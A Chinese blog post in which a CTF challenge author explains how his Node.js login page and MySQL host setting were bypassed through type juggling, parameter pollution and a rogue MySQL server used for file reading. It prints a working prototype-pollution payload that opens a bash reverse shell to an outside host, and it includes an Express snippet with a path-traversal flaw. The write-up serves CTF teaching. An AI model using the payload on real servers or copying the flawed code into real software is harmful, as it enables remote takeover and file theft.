一道有趣的关于nodejs的ctf题

本文分享了一道基于NodeJS的CTF题目解决方案,利用弱类型特性与参数污染技巧绕过登录验证,深入探讨了mysql客户端任意文件读取及远程数据库控制的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先,出题背景是公司要求我出一道简单的ctf题目,正好我最近在学习nodejs相关的东西,于是我就出了这道题目,题目源码,我已经打包上传到了GitHub上,地址是: https://github.com/niexinming/prototype_pullotion/
如果有兴趣,可以下载下来,研究一下

这个题目开局是一个登陆页面
在这里插入图片描述

在这里你会想到什么呢?爆破?nononono~
你要想到的是这是一道nodejs的题目啊,js本身就是一种弱类型语言,所以,你可以改变数据类型,来看看它会不会产生非预期的效果,你可以参考我以前翻译的过的文章
https://blog.youkuaiyun.com/niexinming/article/details/84889275

这篇文章中就介绍如何通过改变数据类型来绕过登录,所以,这个题目通过如下的方式就可以绕过登录:
首先抓包:
在这里插入图片描述

然后,修改用户名密码为数组,因为用户名和密码都是数组的第一个,所以只要把用户名和密码改成
{“user”:[0],“passwd”:[0]},就可以绕过登录

在这里插入图片描述
绕过登录之后,发现有一个地址,打开这个地址:http://106.75.10.182:3000/kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh//jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js
发现是nodejs后端的源码:
在这里插入图片描述
可以看到这个题目可以通过控制host参数去改变mysql的连接地址,这里有个mysql客户端任意文件读取的问题,可以参考这个文章:https://blog.youkuaiyun.com/ls1120704214/article/details/88174003

但是如果直接在json中传递{“host”:””},根本不会有任何效果,因为我在57行写了过滤

if (body.host != undefined) {

如果发现有直接传递进来的host参数,nodejs就报错退出,所以,通过仔细观察源代码,发现这个代码有参数污染问题,关于参数污染,可以参考这篇文章:
https://www.4hou.com/technology/16328.html
所以就可以通过构造如下参数去改变host参数,把host参数变成我们自己mysql服务器的地址
首先,我要先把我服务器中的Rogue-mysql-Server 的rogue_mysql_server.py 中的filelist改成flag的地址
在这里插入图片描述
然后启动我的这个恶意的mysql服务器:
在这里插入图片描述
之后,我把host地址通过参数污染的方式改到我的这台服务器:
在这里插入图片描述
发送数据包后,我的服务器中收到了一个请求:
在这里插入图片描述
然后,去查看日志,就会看到flag

在这里插入图片描述
一个小插曲,因为我刚刚接触nodejs,所以,没有意识到里面其实有很多安全问题,我在出题的过程中错误的使用了nodejs的模板,导致Virink师傅用一个payload就把我的服务器给打下来了(拿下了服务器的控制权),通过跟virink 的交流我也学到了很多东西,最后我兑现了我的承诺,给师傅发了一个大红包
在这里插入图片描述

下面是virink的payload,发出来给大家学习

{"user":"test","passwd":"test","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xx/6666 0>&1\"');var __tmp2"}}

后来我把这个漏洞修复了,等了两周,再也没有人做出来

### CTF竞赛中的Node.js挑战目 在CTF(Capture The Flag)竞赛中,Node.js相关的挑战通常涉及Web安全漏洞利用、逆向工程以及代码审计等方面。这些挑战旨在测试参赛者对于JavaScript运行环境的理解程度及其安全性弱点的认知。 #### Web应用攻击面分析 针对基于Node.js构建的应用程序可能存在的风险点进行探索是一项重要技能。这包括但不限于SQL注入、跨站脚本(XSS)、命令执行等常见漏洞[^1]。 #### 实际案例展示 为了更好地理解如何设计或解决这类问,可以参考一些公开平台上分享的真实比赛实例。GitHub上的Awesome项目集合提供了丰富的资源链接,在其中能够找到许多关于CTF赛事的信息和练习材料[^2]。例如: - **Express框架下的路径遍历漏洞**:通过构造特定请求参数来读取服务器上任意文件的内容。 ```javascript app.get('/download/:file', function(req, res){ var filePath = __dirname + '/uploads/' + req.params.file; fs.readFile(filePath, 'utf8', (err,data)=>{ if(err){return console.error(err);} res.send(data); }); }) ``` 上述代码片段存在明显的安全隐患,因为它允许用户指定`/download`接口后的`:file`部分从而访问到不应该被外部触及的数据。 #### 安全编码实践建议 为了避免类似的错误发生,在编写Node.js应用程序时应遵循最佳的安全开发指南,比如验证输入合法性、限制敏感操作权限范围等措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值